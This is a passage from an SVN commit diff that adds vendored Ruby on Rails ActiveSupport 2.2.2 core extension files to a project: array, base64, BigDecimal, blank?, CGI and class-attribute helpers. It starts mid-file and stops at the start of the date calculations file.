+        # Calls <tt>to_param</tt> on all its elements and joins the result with
+        # slashes. This is used by <tt>url_for</tt> in Action Pack. 
+        def to_param
+          collect { |e| e.to_param }.join '/'
+        end
+
+        # Converts an array into a string suitable for use as a URL query string,
+        # using the given +key+ as the param name.
+        #
+        #   ['Rails', 'coding'].to_query('hobbies') # => "hobbies%5B%5D=Rails&hobbies%5B%5D=coding"
+        def to_query(key)
+          prefix = "#{key}[]"
+          collect { |value| value.to_query(prefix) }.join '&'
+        end
+
+        def self.included(base) #:nodoc:
+          base.class_eval do
+            alias_method :to_default_s, :to_s
+            alias_method :to_s, :to_formatted_s
+          end
+        end
+
+        # Converts a collection of elements into a formatted string by calling
+        # <tt>to_s</tt> on all elements and joining them:
+        #
+        #   Blog.find(:all).to_formatted_s # => "First PostSecond PostThird Post"
+        #
+        # Adding in the <tt>:db</tt> argument as the format yields a prettier
+        # output:
+        #
+        #   Blog.find(:all).to_formatted_s(:db) # => "First Post,Second Post,Third Post"
+        def to_formatted_s(format = :default)
+          case format
+            when :db
+              if respond_to?(:empty?) && self.empty?
+                "null"
+              else
+                collect { |element| element.id }.join(",")
+              end
+            else
+              to_default_s
+          end
+        end
+
+        # Returns a string that represents this array in XML by sending +to_xml+
+        # to each element. Active Record collections delegate their representation
+        # in XML to this method.
+        #
+        # All elements are expected to respond to +to_xml+, if any of them does
+        # not an exception is raised.
+        #
+        # The root node reflects the class name of the first element in plural
+        # if all elements belong to the same type and that's not Hash:
+        #
+        #   customer.projects.to_xml
+        #
+        #   <?xml version="1.0" encoding="UTF-8"?>
+        #   <projects type="array">
+        #     <project>
+        #       <amount type="decimal">20000.0</amount>
+        #       <customer-id type="integer">1567</customer-id>
+        #       <deal-date type="date">2008-04-09</deal-date>
+        #       ...
+        #     </project>
+        #     <project>
+        #       <amount type="decimal">57230.0</amount>
+        #       <customer-id type="integer">1567</customer-id>
+        #       <deal-date type="date">2008-04-15</deal-date>
+        #       ...
+        #     </project>
+        #   </projects>
+        #
+        # Otherwise the root element is "records":
+        #
+        #   [{:foo => 1, :bar => 2}, {:baz => 3}].to_xml
+        #
+        #   <?xml version="1.0" encoding="UTF-8"?>
+        #   <records type="array">
+        #     <record>
+        #       <bar type="integer">2</bar>
+        #       <foo type="integer">1</foo>
+        #     </record>
+        #     <record>
+        #       <baz type="integer">3</baz>
+        #     </record>
+        #   </records>
+        #
+        # If the collection is empty the root element is "nil-classes" by default:
+        #
+        #   [].to_xml
+        #
+        #   <?xml version="1.0" encoding="UTF-8"?>
+        #   <nil-classes type="array"/>
+        #
+        # To ensure a meaningful root element use the <tt>:root</tt> option:
+        #
+        #   customer_with_no_projects.projects.to_xml(:root => "projects")
+        #
+        #   <?xml version="1.0" encoding="UTF-8"?>
+        #   <projects type="array"/>
+        #
+        # By default root children have as node name the one of the root
+        # singularized. You can change it with the <tt>:children</tt> option.
+        #
+        # The +options+ hash is passed downwards:
+        #
+        #   Message.all.to_xml(:skip_types => true)
+        #
+        #   <?xml version="1.0" encoding="UTF-8"?>
+        #   <messages>
+        #     <message>
+        #       <created-at>2008-03-07T09:58:18+01:00</created-at>
+        #       <id>1</id>
+        #       <name>1</name>
+        #       <updated-at>2008-03-07T09:58:18+01:00</updated-at>
+        #       <user-id>1</user-id>
+        #     </message>
+        #   </messages>
+        #
+        def to_xml(options = {})
+          raise "Not all elements respond to to_xml" unless all? { |e| e.respond_to? :to_xml }
+
+          options[:root]     ||= all? { |e| e.is_a?(first.class) && first.class.to_s != "Hash" } ? first.class.to_s.underscore.pluralize : "records"
+          options[:children] ||= options[:root].singularize
+          options[:indent]   ||= 2
+          options[:builder]  ||= Builder::XmlMarkup.new(:indent => options[:indent])
+
+          root     = options.delete(:root).to_s
+          children = options.delete(:children)
+
+          if !options.has_key?(:dasherize) || options[:dasherize]
+            root = root.dasherize
+          end
+
+          options[:builder].instruct! unless options.delete(:skip_instruct)
+
+          opts = options.merge({ :root => children })
+
+          xml = options[:builder]
+          if empty?
+            xml.tag!(root, options[:skip_types] ? {} : {:type => "array"})
+          else
+            xml.tag!(root, options[:skip_types] ? {} : {:type => "array"}) {
+              yield xml if block_given?
+              each { |e| e.to_xml(opts.merge({ :skip_instruct => true })) }
+            }
+          end
+        end
+
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/extract_options.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/extract_options.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/extract_options.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Array #:nodoc:
+      module ExtractOptions
+        # Extracts options from a set of arguments. Removes and returns the last
+        # element in the array if it's a hash, otherwise returns a blank hash.
+        #
+        #   def options(*args)
+        #     args.extract_options!
+        #   end
+        #
+        #   options(1, 2)           # => {}
+        #   options(1, 2, :a => :b) # => {:a=>:b}
+        def extract_options!
+          last.is_a?(::Hash) ? pop : {}
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/grouping.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/grouping.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/grouping.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,106 @@
+require 'enumerator'
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Array #:nodoc:
+      module Grouping
+        # Splits or iterates over the array in groups of size +number+,
+        # padding any remaining slots with +fill_with+ unless it is +false+.
+        # 
+        #   %w(1 2 3 4 5 6 7).in_groups_of(3) {|group| p group}
+        #   ["1", "2", "3"]
+        #   ["4", "5", "6"]
+        #   ["7", nil, nil]
+        #
+        #   %w(1 2 3).in_groups_of(2, '&nbsp;') {|group| p group}
+        #   ["1", "2"]
+        #   ["3", "&nbsp;"]
+        #
+        #   %w(1 2 3).in_groups_of(2, false) {|group| p group}
+        #   ["1", "2"]
+        #   ["3"]
+        def in_groups_of(number, fill_with = nil)
+          if fill_with == false
+            collection = self
+          else
+            # size % number gives how many extra we have;
+            # subtracting from number gives how many to add;
+            # modulo number ensures we don't add group of just fill.
+            padding = (number - size % number) % number
+            collection = dup.concat([fill_with] * padding)
+          end
+
+          if block_given?
+            collection.each_slice(number) { |slice| yield(slice) }
+          else
+            returning [] do |groups|
+              collection.each_slice(number) { |group| groups << group }
+            end
+          end
+        end
+
+        # Splits or iterates over the array in +number+ of groups, padding any
+        # remaining slots with +fill_with+ unless it is +false+.
+        #
+        #   %w(1 2 3 4 5 6 7 8 9 10).in_groups(3) {|group| p group}
+        #   ["1", "2", "3", "4"]
+        #   ["5", "6", "7", nil]
+        #   ["8", "9", "10", nil]
+        #
+        #   %w(1 2 3 4 5 6 7).in_groups(3, '&nbsp;') {|group| p group}
+        #   ["1", "2", "3"]
+        #   ["4", "5", "&nbsp;"]
+        #   ["6", "7", "&nbsp;"]
+        #
+        #   %w(1 2 3 4 5 6 7).in_groups(3, false) {|group| p group}
+        #   ["1", "2", "3"]
+        #   ["4", "5"]
+        #   ["6", "7"]
+        def in_groups(number, fill_with = nil)
+          # size / number gives minor group size;
+          # size % number gives how many objects need extra accomodation;
+          # each group hold either division or division + 1 items.
+          division = size / number
+          modulo = size % number
+
+          # create a new array avoiding dup
+          groups = []
+          start = 0
+
+          number.times do |index|
+            length = division + (modulo > 0 && modulo > index ? 1 : 0)
+            padding = fill_with != false &&
+              modulo > 0 && length == division ? 1 : 0
+            groups << slice(start, length).concat([fill_with] * padding)
+            start += length
+          end
+
+          if block_given?
+            groups.each{|g| yield(g) }
+          else
+            groups
+          end
+        end
+
+        # Divides the array into one or more subarrays based on a delimiting +value+
+        # or the result of an optional block.
+        #
+        #   [1, 2, 3, 4, 5].split(3)                # => [[1, 2], [4, 5]]
+        #   (1..10).to_a.split { |i| i % 3 == 0 }   # => [[1, 2], [4, 5], [7, 8], [10]]
+        def split(value = nil)
+          using_block = block_given?
+
+          inject([[]]) do |results, element|
+            if (using_block && yield(element)) || (value == element)
+              results << []
+            else
+              results.last << element
+            end
+
+            results
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/random_access.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/random_access.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array/random_access.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Array #:nodoc:
+      module RandomAccess
+        # Returns a random element from the array.
+        def rand
+          self[Kernel.rand(length)]
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+require 'active_support/core_ext/array/access'
+require 'active_support/core_ext/array/conversions'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/array/grouping'
+require 'active_support/core_ext/array/random_access'
+
+class Array #:nodoc:
+  include ActiveSupport::CoreExtensions::Array::Access
+  include ActiveSupport::CoreExtensions::Array::Conversions
+  include ActiveSupport::CoreExtensions::Array::ExtractOptions
+  include ActiveSupport::CoreExtensions::Array::Grouping
+  include ActiveSupport::CoreExtensions::Array::RandomAccess
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/base64/encoding.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/base64/encoding.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/base64/encoding.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Base64 #:nodoc:
+      module Encoding
+        # Encodes the value as base64 without the newline breaks. This makes the base64 encoding readily usable as URL parameters 
+        # or memcache keys without further processing.
+        #
+        #  ActiveSupport::Base64.encode64s("Original unencoded string") 
+        #  # => "T3JpZ2luYWwgdW5lbmNvZGVkIHN0cmluZw=="
+        def encode64s(value)
+          encode64(value).gsub(/\n/, '')
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/base64.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/base64.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/base64.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+require 'active_support/base64'
+require 'active_support/core_ext/base64/encoding'
+
+ActiveSupport::Base64.extend ActiveSupport::CoreExtensions::Base64::Encoding

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/benchmark.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/benchmark.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/benchmark.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+require 'benchmark'
+
+class << Benchmark
+  remove_method :realtime
+
+  def realtime
+    r0 = Time.now
+    yield
+    r1 = Time.now
+    r1.to_f - r0.to_f
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/bigdecimal/conversions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/bigdecimal/conversions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/bigdecimal/conversions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,37 @@
+require 'yaml'
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module BigDecimal #:nodoc:
+      module Conversions
+        DEFAULT_STRING_FORMAT = 'F'.freeze
+        YAML_TAG = 'tag:yaml.org,2002:float'.freeze
+        YAML_MAPPING = { 'Infinity' => '.Inf', '-Infinity' => '-.Inf', 'NaN' => '.NaN' }
+
+        def self.included(base) #:nodoc:
+          base.class_eval do
+            alias_method :_original_to_s, :to_s
+            alias_method :to_s, :to_formatted_s
+
+            yaml_as YAML_TAG
+          end
+        end
+
+        def to_formatted_s(format = DEFAULT_STRING_FORMAT)
+          _original_to_s(format)
+        end
+
+        # This emits the number without any scientific notation.
+        # This is better than self.to_f.to_s since it doesn't lose precision.
+        #
+        # Note that reconstituting YAML floats to native floats may lose precision.
+        def to_yaml(opts = {})
+          YAML.quick_emit(nil, opts) do |out|
+            string = to_s
+            out.scalar(YAML_TAG, YAML_MAPPING[string] || string, :plain)
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/bigdecimal.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/bigdecimal.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/bigdecimal.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+require 'bigdecimal'
+require 'active_support/core_ext/bigdecimal/conversions'
+
+class BigDecimal#:nodoc:
+  include ActiveSupport::CoreExtensions::BigDecimal::Conversions
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/blank.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/blank.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/blank.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,58 @@
+class Object
+  # An object is blank if it's false, empty, or a whitespace string.
+  # For example, "", "   ", +nil+, [], and {} are blank.
+  #
+  # This simplifies
+  #
+  #   if !address.nil? && !address.empty?
+  #
+  # to
+  #
+  #   if !address.blank?
+  def blank?
+    respond_to?(:empty?) ? empty? : !self
+  end
+    
+  # An object is present if it's not blank.
+  def present?
+    !blank?
+  end
+end
+
+class NilClass #:nodoc:
+  def blank?
+    true
+  end
+end
+
+class FalseClass #:nodoc:
+  def blank?
+    true
+  end
+end
+
+class TrueClass #:nodoc:
+  def blank?
+    false
+  end
+end
+
+class Array #:nodoc:
+  alias_method :blank?, :empty?
+end
+
+class Hash #:nodoc:
+  alias_method :blank?, :empty?
+end
+
+class String #:nodoc:
+  def blank?
+    self !~ /\S/
+  end
+end
+
+class Numeric #:nodoc:
+  def blank?
+    false
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/cgi/escape_skipping_slashes.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/cgi/escape_skipping_slashes.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/cgi/escape_skipping_slashes.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module CGI #:nodoc:
+      module EscapeSkippingSlashes #:nodoc:
+        def escape_skipping_slashes(str)
+          str = str.join('/') if str.respond_to? :join
+          str.gsub(/([^ \/a-zA-Z0-9_.-])/n) do
+            "%#{$1.unpack('H2').first.upcase}"
+          end.tr(' ', '+')
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/cgi.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/cgi.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/cgi.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+require 'active_support/core_ext/cgi/escape_skipping_slashes'
+
+class CGI #:nodoc:
+  extend ActiveSupport::CoreExtensions::CGI::EscapeSkippingSlashes
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class/attribute_accessors.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class/attribute_accessors.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class/attribute_accessors.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,54 @@
+# Extends the class object with class and instance accessors for class attributes,
+# just like the native attr* accessors for instance attributes.
+#
+#  class Person
+#    cattr_accessor :hair_colors
+#  end
+#
+#  Person.hair_colors = [:brown, :black, :blonde, :red]
+class Class
+  def cattr_reader(*syms)
+    syms.flatten.each do |sym|
+      next if sym.is_a?(Hash)
+      class_eval(<<-EOS, __FILE__, __LINE__)
+        unless defined? @@#{sym}
+          @@#{sym} = nil
+        end
+
+        def self.#{sym}
+          @@#{sym}
+        end
+
+        def #{sym}
+          @@#{sym}
+        end
+      EOS
+    end
+  end
+
+  def cattr_writer(*syms)
+    options = syms.extract_options!
+    syms.flatten.each do |sym|
+      class_eval(<<-EOS, __FILE__, __LINE__)
+        unless defined? @@#{sym}
+          @@#{sym} = nil
+        end
+
+        def self.#{sym}=(obj)
+          @@#{sym} = obj
+        end
+
+        #{"
+        def #{sym}=(obj)
+          @@#{sym} = obj
+        end
+        " unless options[:instance_writer] == false }
+      EOS
+    end
+  end
+
+  def cattr_accessor(*syms)
+    cattr_reader(*syms)
+    cattr_writer(*syms)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class/delegating_attributes.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class/delegating_attributes.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class/delegating_attributes.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,46 @@
+# These class attributes behave something like the class
+# inheritable accessors.  But instead of copying the hash over at
+# the time the subclass is first defined,  the accessors simply
+# delegate to their superclass unless they have been given a 
+# specific value.  This stops the strange situation where values 
+# set after class definition don't get applied to subclasses.
+class Class
+  def superclass_delegating_reader(*names)
+    class_name_to_stop_searching_on = self.superclass.name.blank? ? "Object" : self.superclass.name
+    names.each do |name|
+      class_eval <<-EOS
+      def self.#{name}
+        if defined?(@#{name})
+          @#{name}
+        elsif superclass < #{class_name_to_stop_searching_on} && superclass.respond_to?(:#{name})
+          superclass.#{name}
+        end
+      end
+      def #{name}
+        self.class.#{name}
+      end
+      def self.#{name}?
+        !!#{name}
+      end
+      def #{name}?
+        !!#{name}
+      end
+      EOS
+    end
+  end
+
+  def superclass_delegating_writer(*names)
+    names.each do |name|
+      class_eval <<-EOS
+        def self.#{name}=(value)
+          @#{name} = value
+        end
+      EOS
+    end
+  end
+
+  def superclass_delegating_accessor(*names)
+    superclass_delegating_reader(*names)
+    superclass_delegating_writer(*names)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class/inheritable_attributes.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class/inheritable_attributes.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class/inheritable_attributes.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,140 @@
+# Retain for backward compatibility.  Methods are now included in Class.
+module ClassInheritableAttributes # :nodoc:
+end
+
+# Allows attributes to be shared within an inheritance hierarchy, but where each descendant gets a copy of
+# their parents' attributes, instead of just a pointer to the same. This means that the child can add elements
+# to, for example, an array without those additions being shared with either their parent, siblings, or
+# children, which is unlike the regular class-level attributes that are shared across the entire hierarchy.
+class Class # :nodoc:
+  def class_inheritable_reader(*syms)
+    syms.each do |sym|
+      next if sym.is_a?(Hash)
+      class_eval <<-EOS
+        def self.#{sym}
+          read_inheritable_attribute(:#{sym})
+        end
+
+        def #{sym}
+          self.class.#{sym}
+        end
+      EOS
+    end
+  end
+
+  def class_inheritable_writer(*syms)
+    options = syms.extract_options!
+    syms.each do |sym|
+      class_eval <<-EOS
+        def self.#{sym}=(obj)
+          write_inheritable_attribute(:#{sym}, obj)
+        end
+
+        #{"
+        def #{sym}=(obj)
+          self.class.#{sym} = obj
+        end
+        " unless options[:instance_writer] == false }
+      EOS
+    end
+  end
+
+  def class_inheritable_array_writer(*syms)
+    options = syms.extract_options!
+    syms.each do |sym|
+      class_eval <<-EOS
+        def self.#{sym}=(obj)
+          write_inheritable_array(:#{sym}, obj)
+        end
+
+        #{"
+        def #{sym}=(obj)
+          self.class.#{sym} = obj
+        end
+        " unless options[:instance_writer] == false }
+      EOS
+    end
+  end
+
+  def class_inheritable_hash_writer(*syms)
+    options = syms.extract_options!
+    syms.each do |sym|
+      class_eval <<-EOS
+        def self.#{sym}=(obj)
+          write_inheritable_hash(:#{sym}, obj)
+        end
+
+        #{"
+        def #{sym}=(obj)
+          self.class.#{sym} = obj
+        end
+        " unless options[:instance_writer] == false }
+      EOS
+    end
+  end
+
+  def class_inheritable_accessor(*syms)
+    class_inheritable_reader(*syms)
+    class_inheritable_writer(*syms)
+  end
+
+  def class_inheritable_array(*syms)
+    class_inheritable_reader(*syms)
+    class_inheritable_array_writer(*syms)
+  end
+
+  def class_inheritable_hash(*syms)
+    class_inheritable_reader(*syms)
+    class_inheritable_hash_writer(*syms)
+  end
+
+  def inheritable_attributes
+    @inheritable_attributes ||= EMPTY_INHERITABLE_ATTRIBUTES
+  end
+
+  def write_inheritable_attribute(key, value)
+    if inheritable_attributes.equal?(EMPTY_INHERITABLE_ATTRIBUTES)
+      @inheritable_attributes = {}
+    end
+    inheritable_attributes[key] = value
+  end
+
+  def write_inheritable_array(key, elements)
+    write_inheritable_attribute(key, []) if read_inheritable_attribute(key).nil?
+    write_inheritable_attribute(key, read_inheritable_attribute(key) + elements)
+  end
+
+  def write_inheritable_hash(key, hash)
+    write_inheritable_attribute(key, {}) if read_inheritable_attribute(key).nil?
+    write_inheritable_attribute(key, read_inheritable_attribute(key).merge(hash))
+  end
+
+  def read_inheritable_attribute(key)
+    inheritable_attributes[key]
+  end
+
+  def reset_inheritable_attributes
+    @inheritable_attributes = EMPTY_INHERITABLE_ATTRIBUTES
+  end
+
+  private
+    # Prevent this constant from being created multiple times
+    EMPTY_INHERITABLE_ATTRIBUTES = {}.freeze unless const_defined?(:EMPTY_INHERITABLE_ATTRIBUTES)
+
+    def inherited_with_inheritable_attributes(child)
+      inherited_without_inheritable_attributes(child) if respond_to?(:inherited_without_inheritable_attributes)
+
+      if inheritable_attributes.equal?(EMPTY_INHERITABLE_ATTRIBUTES)
+        new_inheritable_attributes = EMPTY_INHERITABLE_ATTRIBUTES
+      else
+        new_inheritable_attributes = inheritable_attributes.inject({}) do |memo, (key, value)|
+          memo.update(key => value.duplicable? ? value.dup : value)
+        end
+      end
+
+      child.instance_variable_set('@inheritable_attributes', new_inheritable_attributes)
+    end
+
+    alias inherited_without_inheritable_attributes inherited
+    alias inherited inherited_with_inheritable_attributes
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class/removal.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class/removal.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class/removal.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,50 @@
+class Class #:nodoc:
+  
+  # Unassociates the class with its subclasses and removes the subclasses
+  # themselves.
+  #
+  #   Integer.remove_subclasses # => [Bignum, Fixnum]
+  #   Fixnum                    # => NameError: uninitialized constant Fixnum
+  def remove_subclasses
+    Object.remove_subclasses_of(self)
+  end
+
+  # Returns an array with the names of the subclasses of +self+ as strings.
+  #
+  #   Integer.subclasses # => ["Bignum", "Fixnum"]
+  def subclasses
+    Object.subclasses_of(self).map { |o| o.to_s }
+  end
+
+  # Removes the classes in +klasses+ from their parent module.
+  #
+  # Ordinary classes belong to some module via a constant. This method computes
+  # that constant name from the class name and removes it from the module it
+  # belongs to.
+  #
+  #   Object.remove_class(Integer) # => [Integer]
+  #   Integer                      # => NameError: uninitialized constant Integer
+  #
+  # Take into account that in general the class object could be still stored
+  # somewhere else.
+  #
+  #   i = Integer                  # => Integer
+  #   Object.remove_class(Integer) # => [Integer]
+  #   Integer                      # => NameError: uninitialized constant Integer
+  #   i.subclasses                 # => ["Bignum", "Fixnum"]
+  #   Fixnum.superclass            # => Integer
+  def remove_class(*klasses)
+    klasses.flatten.each do |klass|
+      # Skip this class if there is nothing bound to this name
+      next unless defined?(klass.name)
+      
+      basename = klass.to_s.split("::").last
+      parent = klass.parent
+      
+      # Skip this class if it does not match the current one bound to this name
+      next unless parent.const_defined?(basename) && klass = parent.const_get(basename)
+
+      parent.instance_eval { remove_const basename } unless parent == klass
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/class/inheritable_attributes'
+require 'active_support/core_ext/class/removal'
+require 'active_support/core_ext/class/delegating_attributes'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date/behavior.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date/behavior.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date/behavior.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,42 @@
+require 'date'
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Date #:nodoc:
+      module Behavior
+        # Enable more predictable duck-typing on Date-like classes. See
+        # Object#acts_like?.
+        def acts_like_date?
+          true
+        end
+
+        # Date memoizes some instance methods using metaprogramming to wrap
+        # the methods with one that caches the result in an instance variable.
+        #
+        # If a Date is frozen but the memoized method hasn't been called, the
+        # first call will result in a frozen object error since the memo
+        # instance variable is uninitialized.
+        #
+        # Work around by eagerly memoizing before freezing.
+        #
+        # Ruby 1.9 uses a preinitialized instance variable so it's unaffected.
+        # This hack is as close as we can get to feature detection:
+        begin
+          ::Date.today.freeze.jd
+        rescue => frozen_object_error
+          if frozen_object_error.message =~ /frozen/
+            def freeze #:nodoc:
+              self.class.private_instance_methods(false).each do |m|
+                if m.to_s =~ /\A__\d+__\Z/
+                  instance_variable_set(:"@#{m}", [send(m)])
+                end
+              end
+
+              super
+            end
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date/calculations.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date/calculations.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date/calculations.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,230 @@
+module ActiveSupport #:nodoc:
